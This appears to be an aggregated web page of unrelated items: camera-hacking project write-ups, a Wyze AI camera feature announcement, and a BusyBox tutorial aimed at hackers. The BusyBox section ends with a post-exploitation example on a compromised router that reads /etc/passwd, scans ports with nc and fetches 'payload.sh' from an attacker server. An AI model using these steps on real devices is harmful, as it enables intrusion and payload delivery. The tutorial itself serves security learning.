There are plenty of ways to capture 3D images or simulations of such if you know what youβre doing with camera hardware and fancy mathematics. However, a little more unusual is the idea of capturing a 3D image while using no lens at all β and yet, [okooptics] has achieved just that!
The basic concept builds on an older project from [okooptics], wherein images were captured from a Raspberry Pi camera with no regular lens element installed. In its place was a thin layer of Scotch tape over the sensor, acting as a diffuser. With the right deconvolution math, itβs possible to actually recover a real image out of the blurry mess this setup initially captures. [okooptics] was then able to push this into three dimensions by weighting the point spread function used to deconvolute the image.
Adding directional bias to the process creates a similar effect to slightly shifting the cameras position, actually revealing a view from a slightly different angle of objects in front of the camera. [okooptics] does a great job of explaining the science behind how this is possible and the practical limitations of the technique, also referencing research papers that have explored these ideas in great depth.
Itβs math heavy to extract 3D data from what otherwise looks like blurry nothingness, but itβs possible if you know what youβre doing. For a fuller understanding, itβs worth diving into [okooptics] earlier work in this realm, taking photos with Scotch tape in place of a lens.
A dashcam can be one of the most useful gadgets you add to your car, but simply sticking one onto the windshield doesn't guarantee that you're getting the protection you expect. Where you put the camera can affect everything from how much of the road it captures to whether it interferes with your own visibility, and a poorly planned installation can create problems you probably didn't consider.
Smart home device maker Wyze wants to end notification fatigue by turning security footage into something more akin to an Instagram feed.
The Kirkland, Wash.-based company launched βWyze Stories,β a new AI-powered feature that stitches together clip sequences from multiple cameras into a single, chronological event.
Instead of firing off separate alerts as a visitor moves from the driveway to the front porch, the system uses multi-camera grouping and event importance filtering to deliver a unified highlight reel alongside a descriptive, text-based summary.
βHonestly, the number one thing people complain about with security cameras is getting blown up with notifications,β Dave Crosby, co-founder and chief marketing officer at Wyze, said in a news release Tuesday. βInstead of digging through a mess of clips, you just tap through daily stories like your house is your favorite social feed.β
An illustration shows how Wyze AI combines video feeds from multiple camerasβsuch as a driveway, front window, and front doorβinto a single, summarized event notification. (Wyze Graphic)
Within the app, stories are indicated by glowing green-and-purple rings on the home tab, allowing users to tap through footage, hold to pause, or watch events at double speed. The feature also uses AI to generate instant written summaries of detected activity β such as noting when a delivery driver leaves a box at the door β and automatically highlights high-importance events while suppressing repetitive, minor alerts.
The new feature is available as part of Wyzeβs top-tier βCam Unlimited Proβ subscription, which costs $19.99 a month and includes features like cross-camera grouping, 24/7 emergency dispatch, and 60 days of cloud storage.
Wyze Stories works across most of the companyβs hardware lineup, with the exception of older legacy models like the original Wyze Cam, Doorbell v1, and Outdoor v1 and v2.
Founded in 2017 by a trio of former Amazon employees, Wyze originally launched with a $20 smart camera before expanding into a broader lineup of sensors, lighting, and home security systems. The company raised $110 million in 2021 and ranks No. 20 on the GeekWire 200 index of top Pacific Northwest startups.
The formula of a Raspberry Pi camera is such that itβs almost a self-assembly kit of parts. Over the years weβve seen a lot of attempts to make one thatβs more impressive, usually due to a different take on a case design. Itβs not often we see something genuinely out of the ordinary, and perhaps [Strange Inventions] has made one. Heβs produced an instant camera where the βfilmβ is a removable cartridge containing a color e-paper display.
Itβs a straightforward enough idea: the camera writes the image to the display, and since these displays are persistent, there it stays. The displays connect via headers, and the cartridge slips in in a similar manner to a console game cartridge. Theyβre not cheap, but at least unlike a Polaroid or Instax cartridge, they are reusable.
Youβll have to pay up if you want to download the files, but itβs not outrageously expensive if you really want to build one. But perhaps the key here is that itβs not something beyond the abilities of the average Hackaday reader to make their own. Weβre sure this idea will be expanded upon by others in due course.
To be able to hack the Internet of Things(IoT), smart home, smart TV, IP camera, VPN, routers and other such devices, the more you understand of Linux, the more success you will have. Nearly all of these devices use embedded Linux with tiny small kernels. The most popular of these embedded, tiny kernel Linuxes is BusyBox.
BusyBox sees itself as the Swiss Army Knife of Embedded Linux. It is a software component that combines tiny versions of many Unix utilities into a single binary.
In this article, weβll explore what BusyBox is, its benefits and drawbacks, and how to get started using it on Kali Linux. Letβs get rolling!
What is BusyBox?
BusyBox is a lightweight software suite that combines many common Unix utilities into a single small executable file. Rather than having separate executables for each command like ls, cp, mv and tar, BusyBox packages all these utilities into one binary. When executed, BusyBox determines which tool to run based on how it was invoked, either through symbolic links or command-line arguments.
Typically weighing in at under 1MB, BusyBox can provide implementations of over 300 Unix utilities, including file operations, text processing tools, network utilities, system administration commands, and shell functionality. While these implementations are simplified compared to their full-featured GNU counterparts, they maintain compatibility with standard Unix command syntax for most common operations.
History and Development
BusyBox was created in 1996 by Bruce Perens as part of the Debian GNU/Linux installer. The original motivation was to create a rescue disk that could fit on a single floppy disk while still providing essential Unix tools.
1.44 MB Floppy disk
The project gained significant momentum when it was adopted by embedded Linux developers who faced similar space constraints in their target devices. As embedded systems proliferated in the late 1990s and early 2000s, BusyBox became increasingly important for devices with limited flash memory and RAM.
Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.
The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.
Benefits and Advantages
BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:
Space Efficiency: The most obvious benefit is BusyBoxβs incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.
Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.
Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.
Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.
Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.
Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.
Why Hackers Should Care?
Portability: BusyBox works on almost any Linux or Unix-like system.
Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.
Essential for Embedded Targets: Many IoT devices and routers run BusyBox by defaultβknowing it helps you exploit or secure them
Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.
Where BusyBox is Used
Domain
Examples / Usage
Embedded Systems
Used in router firmware, smart TVs, automotive infotainment, and industrial control systems. Brands: Linksys, Netgear, D-Link.
Container Environments
Alpine Linux (used in Docker containers) uses BusyBox as the default CLI toolkit to reduce image size and resource usage.
IoT Devices
Incorporated into low-power Internet of Things devices to provide essential system functions with minimal resource usage.
Recovery & Rescue Systems
Used in Linux rescue disks and recovery tools to offer a full Unix environment in limited space. Continues the legacy from the Debian installer.
Mobile Devices
Found in Android recovery mode and mobile Linux distributions for maintenance and emergency operations.
Educational Systems
Used on devices like the Raspberry Pi in educational environments for its simplicity and low resource footprint.
Essential BusyBox Commands for Hackers
Hereβs a quick reference to some of the most useful BusyBox applets for hacking and pentesting
Command
Purpose
ls
List files and directories
cp
Copy files
mv
Move/rename files
rm
Remove files
cat
View file contents
grep
Search for patterns in files
awk
Pattern scanning and processing
sed
Stream editor for filtering and transforming text
vi
Text editor
wget
Download files from the web
nc
Netcat for networking
ifconfig
Configure network interfaces
ps
List running processes
kill
Send signals to processes
sh
Shell (ash)
Getting Started with BusyBox on Kali Linux
First, verify that BusyBox is installed on your Kali system:
kali> busybox βhelp
BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:
kali> busybox ps aux
To see all utilities available in your BusyBox installation:
kali> busybox βlist
In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:
Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery
File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
System analysis: busybox ps, busybox netstat, and busybox top for system monitoring
Text processing: busybox sed and busybox cut for parsing command output
Security Considerations and Notable Attacks
While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:
Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.
IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.
Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.
Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.
The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.
Real-World Example
Suppose youβve gained shell access on a router that runs BusyBox. Hereβs how you might use it to enumerate the system and pivot further, you could;
bash# List users
busybox cat /etc/passwd
# Check network interfaces
busybox ifconfig
# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024
# Download a script or tool
busybox wget http://yourserver/payload.sh
# Get a shell
busybox sh
Summary
As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.
If youβre curious about how tools like BusyBox power the tech world and want to learn Linux yourself, nowβs a great time to begin. Take a look at our Linux Basics for Hackers Bundle β itβs a practical, beginner-friendly way to learn Linux.
Although digital photography took a big bite of the film industryβs lunch, it wasnβt able to completely eliminate the need β or desire β for photographers to use film in some situations. But digital information from a camera sensor can be manipulated to augment the natural physical capabilities of a camera in ways not really feasible for film. High dynamic range images, focus and exposure stacking, and automatic panoramic stitching. This camera takes the latter example to the extreme.
[Philo]βs proof of concept was a smartphone camera set on a chair and rotated around a room. Some software grabbed a single column of pixels as it moved and stitched them all together to form an image. This came out well enough that the idea was refined a few times, but it wasnβt until a single-line digital camera meant for imaging assembly lines was found that this really took off. Using the camera and some custom software, [Philo] was eventually able to take some of the longest panoramic images weβve seen, using things like railways and boats as the track the camera rides on, with accelerometer data to help stabilize the image.
The results speak for themselves. Thereβs a bit of wobble from the movement of the various vehicles despite the accelerometer data, but given that the image is coming from a sensor meant for examining conveyor belts, itβs hard to complain. Of course, if you want to stick to film, there are panoramic film cameras available too even if they donβt quite have the reach of this digital one.
Making a film camera is a project within the reach of almost anyone, from the experimenter with cardboard and sticky tape, to the machinist with an aluminium billet. But 3D printing has opened up the world of cameras to whole new set of experimenters, and weβve seen some very impressive builds here as a result. For all that, thereβs always been a particularly tricky aspect to a home made camera: the shutter. In particular, making one with variable speed has proved almost impossible. Now [Camera Things] has given it a very good shot, with a sliding 3D printed design.
To cock it, both the strips are pulled across, before the blind strip is pushed back, and the shutter operates by sliding back under the influence of a rubber band. The clever part in this case is that the blind strip can be partially pushed back to affect the size of the shutter opening. The effect is then of a variable width strip of light passing over the film, which is equivalent to varying the speed of a conventional shutter.
Due to space constraints heβs only able to make it a half frame shutter, so heβs abandoning this design in favour of a more complicated set of vertical leaves. Sadly heβs not made the files available, but we thing proficient CAD users should be able to make their own version. The video is below the break.
Although we personally have yet to see anyone brandishing an old digital point-and-shoot camera, we hear theyβre back in vogue. Why, though? People are nostalgic for that image quality. While he certainly could have simply picked up a vintage model somewhere for a likely inflated price, [Arnov Sharma] decided to build his own version and call it the PolyShot.
The core of this project is the Unihiker K10 dev board, which uses an ESP32-S3, a whopping 2 megapixel camera, and a micro SD card to capture photos and display them back on the screen. The tricky part, if you can call it that, is the custom PCB. Itβs a simple board with just three buttons: shutter, gallery, and next image. We do like that the position of the battery compartment creates a nice grip.
The biggest difference here is that there is a few-second delay between pressing the shutter button and actually capturing the image, which you can see in the short videos below. So if youβre trying to get a shot of a skink or something equally speedy, we wish you good luck.
In a future iteration, [Arnov] wants to address the issue of image quality, because this project ended up evolving into a more traditional digital camera. He would also improve the battery life, for which the current expectancy is around three hours on a charge. Ultimately, [Arnov] wants to ditch the Unihiker and design everything from the ground up, using an ESP32-S3 module.
Old cameras are a fantastic way to experiment with photography, and outside a few brands, they can be an inexpensive way too. Itβs easy to find older cameras in a broken condition forΒ a lot less money, but if youβre tempted to fix one then [enthdegree] has some advice for you.
Itβs ostensibly a set of notes on the disassembly and repair of a Nikon F100 35mm film SLR, but along the way itβs full of useful tips and tricks for camera disassembly. he materials youβll need, advice on not losing screws is one, and warnings against disassembling too much is another. Itβs all the stuff he wished heβd known before starting, and now you can know it too.
Fixing up old cameras in this way is rewarding, and something weβve certainly been known to do ourselves. But itβs worth bearing in mind that itβs not for the faint-hearted, and with decades of old film cameras sitting unused, often a working example might make more sense.